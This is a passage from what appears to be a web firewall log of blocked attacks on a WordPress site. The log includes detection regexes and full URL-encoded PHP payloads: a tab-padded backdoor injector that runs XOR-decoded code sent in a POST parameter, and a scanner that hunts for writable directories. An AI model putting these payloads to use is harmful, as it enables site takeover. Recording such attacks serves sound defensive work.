B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:59:15","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ym:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3940\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJ0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nym=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:59:32","162.240.108.214","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:3940\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nOD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:59:37","92.205.188.156","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3963\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/HTTP\/Psr18Client.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522fla%255Cx67%2522%2529%2529%257B%2520%2524entity%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522fla%255Cx67%2522%255D%2529%253B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524pset%2529%2520as%2520%2524char%2529%257B%2524flg%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252039%2529%253B%257D%2520%2524key%2520%253D%25200%253B%2520do%2520%257B%2520%2524hld%2520%253D%2520%2524entity%255B%2524key%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524key%2520%253E%253D%2520count%2528%2524entity%2529%2529%2520break%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524hld%2529%2520%252A%2520is_writable%2528%2524hld%2529%2529%2529%2520%257B%2520%2524fac%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524hld%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524fac%252C%2520%2524flg%2529%2529%2520%257B%2520include%2520%2524fac%253B%2520%2540unlink%2528%2524fac%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524key%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:00:05","67.205.18.1","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> JA:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24